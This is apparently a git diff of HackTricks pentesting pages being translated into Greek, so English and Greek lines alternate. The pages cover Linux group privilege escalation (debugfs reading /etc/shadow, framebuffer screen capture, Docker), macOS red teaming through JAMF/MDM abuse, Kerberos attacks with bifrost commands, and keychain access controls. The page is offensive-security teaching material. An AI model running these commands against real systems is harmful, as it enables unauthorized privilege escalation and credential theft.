debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Σημειώστε ότι χρησιμοποιώντας το debugfs μπορείτε επίσης να **γράφετε αρχεία**. Για παράδειγμα, για να αντιγράψετε το `/tmp/asd1.txt` στο `/tmp/asd2.txt` μπορείτε να κάνετε:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
Ωστόσο, αν προσπαθήσετε να **γράψετε αρχεία που ανήκουν στον root** \(όπως το `/etc/shadow` ή το `/etc/passwd`\) θα λάβετε ένα σφάλμα "**Permission denied**".
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
Χρησιμοποιώντας την εντολή `w` μπορείτε να βρείτε **ποιος είναι συνδεδεμένος στο σύστημα** και θα εμφανίσει μια έξοδο όπως η παρακάτω:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το αρχείο **`screen.raw`** και να επιλέξετε ως τύπο αρχείου **Raw image data**:
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
Στη συνέχεια, τροποποιήστε το Πλάτος και το Ύψος στις διαστάσεις που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας \(και επιλέξτε αυτόν που δείχνει καλύτερα την οθόνη\):
![](../../images/image%20%28295%29.png)
# Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για να **τροποποιήσουν** ορισμένα αρχεία ρυθμίσεων **υπηρεσιών** ή ορισμένα αρχεία **βιβλιοθηκών** ή **άλλα ενδιαφέροντα πράγματα** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων...
**Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Ομάδα Docker
# Docker Group
You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
# Ομάδα lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,109 +2,98 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## Κατάχρηση MDMs
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
Αν καταφέρετε να **συμβιβάσετε τα διαπιστευτήρια διαχειριστή** για να αποκτήσετε πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε να **συμβιβάσετε δυνητικά όλους τους υπολογιστές** διανέμοντας το κακόβουλο λογισμικό σας στις μηχανές.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
Για red teaming σε περιβάλλοντα MacOS, συνιστάται έντονα να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs:
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### Χρήση MDM ως C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό πρόσβασης firmware, να αλλάζει το κλειδί FileVault...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
Για να τρέξετε το δικό σας MDM χρειάζεστε να **υπογραφεί το CSR σας από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm).
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστη CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
Για να εγγραφείτε τη συσκευή σε ένα MDM, χρειάζεται να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί).
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus** χρησιμοποιεί αυτή την τεχνική.
### Abusing JAMF PRO
### Κατάχρηση JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διαδικασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...).
#### JAMF self-enrolment
#### Αυτοεγγραφή JAMF
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
Πηγαίνετε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν την έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
Επιπλέον, αφού βρείτε κατάλληλα διαπιστευτήρια, θα μπορούσατε να είστε σε θέση να σπάσετε άλλους χρήστες με την επόμενη φόρμα:
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### Αυθεντικοποίηση συσκευής JAMF
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### Κατάληψη Συσκευής JAMF
Η **JSS** (Jamf Software Server) **URL** που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Αυτό το αρχείο περιέχει βασικά την URL:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** ώστε να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMF Impersonation
In order to **impersonate the communication** between a device and JMF you need:
Για να **παριστάνεις την επικοινωνία** μεταξύ μιας συσκευής και του JMF χρειάζεσαι:
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
- Το **UUID** της συσκευής: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- Το **JAMF keychain** από: `/Library/Application\ Support/Jamf/JAMF.keychain` το οποίο περιέχει το πιστοποιητικό της συσκευής
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
Με αυτές τις πληροφορίες, **δημιούργησε μια VM** με το **κλεμμένο** Hardware **UUID** και με **SIP απενεργοποιημένο**, ρίξε το **JAMF keychain,** **hook** τον Jamf **agent** και κλέψε τις πληροφορίες του.
#### Secrets stealing
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
Μπορείς επίσης να παρακολουθείς την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθείς `ps aux | grep -i jamf` (χωρίς καν να είσαι root).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας.
### macOS Remote Access
And also about **MacOS** "special" **network** **protocols**:
Και επίσης για τα **MacOS** "ειδικά" **δίκτυα** **πρωτοκόλλων**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
Σε ορισμένες περιπτώσεις θα διαπιστώσεις ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσεις να **καταγράψεις** τον ενεργό κατάλογο όπως είσαι συνηθισμένος. Βρες κάποια **βοήθεια** στις παρακάτω σελίδες:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
Κάποιο **τοπικό εργαλείο MacOS** που μπορεί επίσης να σε βοηθήσει είναι το `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS που επιτρέπουν την αυτόματη καταμέτρηση του AD και την αλληλεπίδραση με το kerberos:
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 σε macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory.
### Πληροφορίες Τομέα
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Χρήστες
### Users
Οι τρεις τύποι χρηστών MacOS είναι:
The three types of MacOS users are:
- **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν είναι συνδεδεμένοι με κανέναν τρόπο στο Active Directory.
- **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για αυθεντικοποίηση.
- **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους.
- **Local Users** — Managed by the local OpenDirectory service, they arent connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
Για παράδειγμα, οι πληροφορίες για τον χρήστη που ονομάζεται _mark_ αποθηκεύονται στο _/var/db/dslocal/nodes/Default/users/mark.plist_ και οι πληροφορίες για την ομάδα _admin_ είναι στο _/var/db/dslocal/nodes/Default/groups/admin.plist_.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
Εκτός από τη χρήση των ακμών HasSession και AdminTo, **το MacHound προσθέτει τρεις νέες ακμές** στη βάση δεδομένων Bloodhound:
- **CanSSH** - οντότητα που επιτρέπεται να SSH στον υπολογιστή
- **CanVNC** - οντότητα που επιτρέπεται να VNC στον υπολογιστή
- **CanAE** - οντότητα που επιτρέπεται να εκτελεί σενάρια AppleEvent στον υπολογιστή
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
Περισσότερες πληροφορίες στο [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
Αποκτήστε κωδικούς πρόσβασης χρησιμοποιώντας:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
Είναι δυνατόν να αποκτήσετε πρόσβαση στον **`Computer$`** κωδικό πρόσβασης μέσα στο System keychain.
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
Αποκτήστε ένα TGT για έναν συγκεκριμένο χρήστη και υπηρεσία:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
Μόλις συγκεντρωθεί το TGT, είναι δυνατή η έγχυσή του στην τρέχουσα συνεδρία με:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινές χρήσεις σε άλλους υπολογιστές:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Πρόσβαση στο Keychain
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που αν αποκτηθούν χωρίς να παραχθεί προτροπή θα μπορούσαν να βοηθήσουν στην προώθηση μιας άσκησης red team:
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## Εξωτερικές Υπηρεσίες
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως το github, aws...) μέσω του OneLogin.
## Misc Red Team techniques
## Διάφορες τεχνικές Red Team
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
Όταν ένα αρχείο κατεβαίνει στο Safari, αν είναι "ασφαλές" αρχείο, θα **ανοίξει αυτόματα**. Έτσι, για παράδειγμα, αν **κατεβάσετε ένα zip**, θα αποσυμπιεστεί αυτόματα:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## Αναφορές
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), το οποίο χρησιμοποιείται για την αποθήκευση **credentials συγκεκριμένων χρηστών** όπως κωδικοί πρόσβασης εφαρμογών, κωδικοί πρόσβασης στο διαδίκτυο, πιστοποιητικά που δημιουργούνται από τον χρήστη, κωδικοί πρόσβασης δικτύου και δημόσια/ιδιωτικά κλειδιά που δημιουργούνται από τον χρήστη.
- The **System Keychain** (`/Library/Keychains/System.keychain`), το οποίο αποθηκεύει **credentials σε επίπεδο συστήματος** όπως κωδικοί πρόσβασης WiFi, πιστοποιητικά ρίζας συστήματος, ιδιωτικά κλειδιά συστήματος και κωδικοί πρόσβασης εφαρμογών συστήματος.
- Είναι δυνατόν να βρείτε άλλα στοιχεία όπως πιστοποιητικά στο `/System/Library/Keychains/*`
- Στο **iOS** υπάρχει μόνο ένα **Keychain** που βρίσκεται στο `/private/var/Keychains/`. Αυτός ο φάκελος περιέχει επίσης βάσεις δεδομένων για το `TrustStore`, αρχές πιστοποίησης (`caissuercache`) και καταχωρήσεις OSCP (`ocspache`).
- Οι εφαρμογές θα περιορίζονται στο keychain μόνο στην ιδιωτική τους περιοχή με βάση τον αναγνωριστικό της εφαρμογής τους.
### Password Keychain Access
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
Αυτά τα αρχεία, αν και δεν έχουν εγγενή προστασία και μπορούν να **κατεβούν**, είναι κρυπτογραφημένα και απαιτούν τον **καθαρό κωδικό πρόσβασης του χρήστη για να αποκρυπτογραφηθούν**. Ένα εργαλείο όπως το [**Chainbreaker**](https://github.com/n0fate/chainbreaker) θα μπορούσε να χρησιμοποιηθεί για την αποκρυπτογράφηση.
## Keychain Entries Protections
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
Κάθε καταχώρηση στο keychain διέπεται από **Access Control Lists (ACLs)** που καθορίζουν ποιος μπορεί να εκτελεί διάφορες ενέργειες στην καταχώρηση του keychain, συμπεριλαμβανομένων:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**: Επιτρέπει στον κάτοχο να αποκτήσει το καθαρό κείμενο του μυστικού.
- **ACLAuhtorizationExportWrapped**: Επιτρέπει στον κάτοχο να αποκτήσει το καθαρό κείμενο κρυπτογραφημένο με έναν άλλο παρεχόμενο κωδικό πρόσβασης.
- **ACLAuhtorizationAny**: Επιτρέπει στον κάτοχο να εκτελεί οποιαδήποτε ενέργεια.
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
Οι ACLs συνοδεύονται επίσης από μια **λίστα αξιόπιστων εφαρμογών** που μπορούν να εκτελούν αυτές τις ενέργειες χωρίς προτροπή. Αυτό θα μπορούσε να είναι:
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`** (δεν απαιτείται εξουσιοδότηση, **όλοι είναι αξιόπιστοι**)
- Μια **κενή** λίστα (**κανείς** δεν είναι αξιόπιστος)
- **Λίστα** συγκεκριμένων **εφαρμογών**.
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
Επίσης, η καταχώρηση μπορεί να περιέχει το κλειδί **`ACLAuthorizationPartitionID`,** το οποίο χρησιμοποιείται για να προσδιορίσει το **teamid, apple,** και **cdhash.**
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- Εάν το **teamid** είναι καθορισμένο, τότε για να **προσεγγιστεί η καταχώρηση** αξίας **χωρίς** προτροπή, η χρησιμοποιούμενη εφαρμογή πρέπει να έχει το **ίδιο teamid**.
- Εάν το **apple** είναι καθορισμένο, τότε η εφαρμογή πρέπει να είναι **υπογεγραμμένη** από την **Apple**.
- Εάν το **cdhash** είναι υποδειγμένο, τότε η **εφαρμογή** πρέπει να έχει το συγκεκριμένο **cdhash**.
### Creating a Keychain Entry
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
Όταν μια **νέα** **καταχώρηση** δημιουργείται χρησιμοποιώντας το **`Keychain Access.app`**, ισχύουν οι εξής κανόνες:
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- Όλες οι εφαρμογές μπορούν να κρυπτογραφούν.
- **Καμία εφαρμογή** δεν μπορεί να εξάγει/αποκρυπτογραφεί (χωρίς προτροπή του χρήστη).
- Όλες οι εφαρμογές μπορούν να δουν τον έλεγχο ακεραιότητας.
- Καμία εφαρμογή δεν μπορεί να αλλάξει τις ACLs.
- Το **partitionID** ορίζεται σε **`apple`**.
When an **application creates an entry in the keychain**, the rules are slightly different:
